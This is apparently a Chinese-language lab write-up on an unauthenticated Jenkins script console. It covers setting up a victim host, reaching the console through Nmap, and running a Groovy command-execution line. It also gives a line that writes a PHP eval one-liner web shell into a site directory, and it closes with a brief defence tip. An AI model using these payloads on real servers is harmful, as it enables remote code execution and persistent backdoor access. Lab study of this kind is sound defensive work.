一、漏洞介绍
1 ) Jenkins介绍
Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:
- 用于持续性、自动的构建/测试软件
- 项目监控或跑一些定时任务
- 监控外部调用执行的工作
2 ) 漏洞原因
Jenkins系统后台中可以执行系统脚本命令,(本作用是故障排除和诊断使用)
3 ) 利用条件
- 使用低版本的Jenkins,默认没有登录控制
- 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
- 控制台使用了弱密码
二、环境配置
2.1 配置主机
受害者IP:192.168.253.128
系统内核版本:
2.2 下载安装
下载一: 镜像站下载(优点:下载快;缺点:不支持所有版本)
- https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/
下载二: 官方下载(优点:版本全;缺点:下载慢)
官方下载系统内核对应的安装包(这里是rpm包安装方式)
- http://mirrors.jenkins.io
》》安装
》》启动服务
》》防火墙配置(略,关闭防火墙/开通8080端口皆可)
》》浏览器访问8080端口进行 安装配置
》》解锁
》》安装插件
》》创建管理员账户
》》成功登陆,退出后发现之前admin的密码没有
忘记jenkins账户密码怎么办?(如使用rpm包安装使用此种方法!)
》》编辑jenkins全局配置文件(/var/lib/jenkins/config.xml)
》》取消掉使用密码
》》重置jenkins服务
systemctl restart jenkins / /etc/init.d/jenkins restart
》》然后再次访问web站点
》》启用安全性,选择jenkisn自己的数据库,点击保存
》》点击设置,配置管理员密码
三、漏洞利用
3.1 信息收集
Nmap扫描对方web服务:(不限于8080默认端口)
访问8080端口,如果没有登录限制如下这种情况:
Tips:以下这种情况有两种方式
- 低版本的jenkisns默认安装启动服务
- 配置中将登录密码验证关掉了(false)
3.2 漏洞利用
》》点击系统管理
》》点击脚本控制台
》》执行并打印系统命令
println "hostname".execute().text
1
- 1
- 2
如果知道web站点目录可写入一句话shell:(这里使用php站点举例)
new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');
1
- 1
- 2
四、防御建议
- 配置Jenkins登录验证(只要不能进入控制台即可)